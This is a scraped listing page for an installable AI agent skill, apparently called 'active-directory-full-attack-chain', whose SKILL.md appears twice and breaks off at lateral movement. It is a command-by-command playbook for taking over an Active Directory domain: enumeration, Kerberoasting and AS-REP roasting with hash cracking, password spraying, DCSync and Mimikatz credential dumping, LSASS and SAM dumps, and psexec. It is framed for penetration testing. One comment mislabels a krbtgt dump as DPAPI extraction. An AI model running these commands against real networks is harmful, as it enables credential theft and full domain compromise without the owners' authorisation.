active-directory-full-attack-chain

Name: active-directory-full-attack-chain
Author: ShulkwiSEC

18stars5forks

How to install active-directory-full-attack-chain?

shulkwisec/bb-huge/active-directory-full-attack-chain

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-full-attack-chain

Installs into the current project.

Summary

Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mi

Files · 1

View on GitHub

SKILL.md

1	# Active Directory — Full Attack Chain
2
3	## When to Use
4	- When conducting internal network penetration tests against Windows/AD environments
5	- When you have domain user credentials and need to escalate to Domain Admin
6	- During red team engagements targeting corporate Active Directory infrastructure
7	- When assessing AD security posture and attack paths
8
9	## Prerequisites
10	- Domain user credentials (at minimum)
11	- Kali Linux or Windows attack machine on the same network
12	- Impacket toolkit (`pip install impacket`)
13	- BloodHound + Neo4j for attack path visualization
14	- CrackMapExec / NetExec for lateral movement
15	- Mimikatz or Rubeus for credential attacks
16
17	## Workflow
18
19	### Phase 1: Domain Enumeration
20
21	```bash
22	# Enumerate domain info with domain user creds
23	# LDAP enumeration
24	ldapdomaindump -u 'DOMAIN\user' -p 'Password123' dc.domain.local -o ldap_dump/
25
26	# Domain info via CrackMapExec
27	crackmapexec smb dc.domain.local -u user -p 'Password123' --pass-pol
28	crackmapexec smb 10.10.10.0/24 -u user -p 'Password123' --shares
29
30	# Enumerate users
31	crackmapexec smb dc.domain.local -u user -p 'Password123' --users
32	# Enumerate groups
33	crackmapexec smb dc.domain.local -u user -p 'Password123' --groups
34
35	# Using Impacket
36	GetADUsers.py -all domain.local/user:Password123 -dc-ip 10.10.10.1
37
38	# PowerView (if on Windows)
39	Import-Module .\PowerView.ps1
40	Get-DomainUser -Properties samaccountname,description \| fl
41	Get-DomainGroup -AdminCount \| Select-Object name
42	Get-DomainComputer -Properties name,operatingsystem \| fl
43	Find-LocalAdminAccess
44	```
45
46	### Phase 2: BloodHound — Attack Path Discovery
47
48	```bash
49	# Collect AD data with SharpHound
50	# From Windows:
51	.\SharpHound.exe -c All -d domain.local
52
53	# From Linux (bloodhound-python):
54	bloodhound-python -u user -p 'Password123' -d domain.local -dc dc.domain.local -c All
55
56	# Start Neo4j and BloodHound
57	sudo neo4j start
58	bloodhound --no-sandbox
59
60	# Import the .zip data into BloodHound
61	# Key queries to run:
62	# - "Find Shortest Paths to Domain Admin"
63	# - "Find All Kerberoastable Accounts"
64	# - "Find Principals with DCSync Rights"
65	# - "Find Computers where Domain Users are Local Admin"
66	# - "Shortest Paths from Owned Principals"
67	```
68
69	### Phase 3: Kerberos Attacks
70
71	```bash
72	# AS-REP Roasting (no pre-authentication required)
73	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.hash
74
75	# Crack AS-REP hashes
76	hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
77
78	# Kerberoasting (request service tickets for SPNs)
79	GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 -outputfile kerberoast.hash
80
81	# Crack Kerberos TGS hashes
82	hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
83
84	# Using Rubeus (Windows)
85	.\Rubeus.exe kerberoast /outfile:kerberoast.hash
86	.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash
87
88	# Kerbrute — username enumeration + password spraying
89	kerbrute userenum --dc dc.domain.local -d domain.local users.txt
90	kerbrute passwordspray --dc dc.domain.local -d domain.local users.txt 'Password123'
91	```
92
93	### Phase 4: Credential Dumping
94
95	```bash
96	# Remote NTDS dump via secretsdump (if you have admin creds)
97	secretsdump.py domain.local/admin:AdminPass@dc.domain.local
98
99	# DCSync attack (requires replication rights)
100	secretsdump.py -just-dc domain.local/user:Password123@dc.domain.local
101
102	# Mimikatz (on compromised Windows machine)
103	mimikatz.exe
104	privilege::debug
105	sekurlsa::logonpasswords # Dump plaintext passwords from memory
106	sekurlsa::tickets # Dump Kerberos tickets
107	lsadump::dcsync /domain:domain.local /user:Administrator # DCSync
108
109	# LSASS dump (remotely)
110	crackmapexec smb target -u admin -p 'AdminPass' -M lsassy
111
112	# SAM/SYSTEM dump
113	crackmapexec smb target -u admin -p 'AdminPass' --sam
114
115	# DPAPI credential extraction
116	secretsdump.py -just-dc-user krbtgt domain.local/admin:AdminPass@dc.domain.local
117	```
118
119	### Phase 5: Lateral Movement
120
121	```bash
122	# PsExec (ADMIN$ share)
123	psexec.py domain.local/admin:AdminPass@target.domain.local
124
125	# WMI Exec

People who liked this also viewed

6 picks

Type

active-directory-full-attack-chain

18stars5forks

View on GitHub

How to install active-directory-full-attack-chain?

shulkwisec/bb-huge/active-directory-full-attack-chain

$npx -y skills add ShulkwiSEC/bb-huge --skill active-directory-full-attack-chain

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Active Directory — Full Attack Chain
2
3	## When to Use
4	- When conducting internal network penetration tests against Windows/AD environments
5	- When you have domain user credentials and need to escalate to Domain Admin
6	- During red team engagements targeting corporate Active Directory infrastructure
7	- When assessing AD security posture and attack paths
8
9	## Prerequisites
10	- Domain user credentials (at minimum)
11	- Kali Linux or Windows attack machine on the same network
12	- Impacket toolkit (`pip install impacket`)
13	- BloodHound + Neo4j for attack path visualization
14	- CrackMapExec / NetExec for lateral movement
15	- Mimikatz or Rubeus for credential attacks
16
17	## Workflow
18
19	### Phase 1: Domain Enumeration
20
21	```bash
22	# Enumerate domain info with domain user creds
23	# LDAP enumeration
24	ldapdomaindump -u 'DOMAIN\user' -p 'Password123' dc.domain.local -o ldap_dump/
25
26	# Domain info via CrackMapExec
27	crackmapexec smb dc.domain.local -u user -p 'Password123' --pass-pol
28	crackmapexec smb 10.10.10.0/24 -u user -p 'Password123' --shares
29
30	# Enumerate users
31	crackmapexec smb dc.domain.local -u user -p 'Password123' --users
32	# Enumerate groups
33	crackmapexec smb dc.domain.local -u user -p 'Password123' --groups
34
35	# Using Impacket
36	GetADUsers.py -all domain.local/user:Password123 -dc-ip 10.10.10.1
37
38	# PowerView (if on Windows)
39	Import-Module .\PowerView.ps1
40	Get-DomainUser -Properties samaccountname,description \| fl
41	Get-DomainGroup -AdminCount \| Select-Object name
42	Get-DomainComputer -Properties name,operatingsystem \| fl
43	Find-LocalAdminAccess
44	```
45
46	### Phase 2: BloodHound — Attack Path Discovery
47
48	```bash
49	# Collect AD data with SharpHound
50	# From Windows:
51	.\SharpHound.exe -c All -d domain.local
52
53	# From Linux (bloodhound-python):
54	bloodhound-python -u user -p 'Password123' -d domain.local -dc dc.domain.local -c All
55
56	# Start Neo4j and BloodHound
57	sudo neo4j start
58	bloodhound --no-sandbox
59
60	# Import the .zip data into BloodHound
61	# Key queries to run:
62	# - "Find Shortest Paths to Domain Admin"
63	# - "Find All Kerberoastable Accounts"
64	# - "Find Principals with DCSync Rights"
65	# - "Find Computers where Domain Users are Local Admin"
66	# - "Shortest Paths from Owned Principals"
67	```
68
69	### Phase 3: Kerberos Attacks
70
71	```bash
72	# AS-REP Roasting (no pre-authentication required)
73	GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format hashcat -outputfile asrep.hash
74
75	# Crack AS-REP hashes
76	hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt
77
78	# Kerberoasting (request service tickets for SPNs)
79	GetUserSPNs.py domain.local/user:Password123 -dc-ip 10.10.10.1 -outputfile kerberoast.hash
80
81	# Crack Kerberos TGS hashes
82	hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
83
84	# Using Rubeus (Windows)
85	.\Rubeus.exe kerberoast /outfile:kerberoast.hash
86	.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.hash
87
88	# Kerbrute — username enumeration + password spraying
89	kerbrute userenum --dc dc.domain.local -d domain.local users.txt
90	kerbrute passwordspray --dc dc.domain.local -d domain.local users.txt 'Password123'
91	```
92
93	### Phase 4: Credential Dumping
94
95	```bash
96	# Remote NTDS dump via secretsdump (if you have admin creds)
97	secretsdump.py domain.local/admin:AdminPass@dc.domain.local
98
99	# DCSync attack (requires replication rights)
100	secretsdump.py -just-dc domain.local/user:Password123@dc.domain.local
101
102	# Mimikatz (on compromised Windows machine)
103	mimikatz.exe
104	privilege::debug
105	sekurlsa::logonpasswords # Dump plaintext passwords from memory
106	sekurlsa::tickets # Dump Kerberos tickets
107	lsadump::dcsync /domain:domain.local /user:Administrator # DCSync
108
109	# LSASS dump (remotely)
110	crackmapexec smb target -u admin -p 'AdminPass' -M lsassy
111
112	# SAM/SYSTEM dump
113	crackmapexec smb target -u admin -p 'AdminPass' --sam
114
115	# DPAPI credential extraction
116	secretsdump.py -just-dc-user krbtgt domain.local/admin:AdminPass@dc.domain.local
117	```
118
119	### Phase 5: Lateral Movement
120
121	```bash
122	# PsExec (ADMIN$ share)
123	psexec.py domain.local/admin:AdminPass@target.domain.local
124
125	# WMI Exec

People who liked this also viewed

6 picks

Type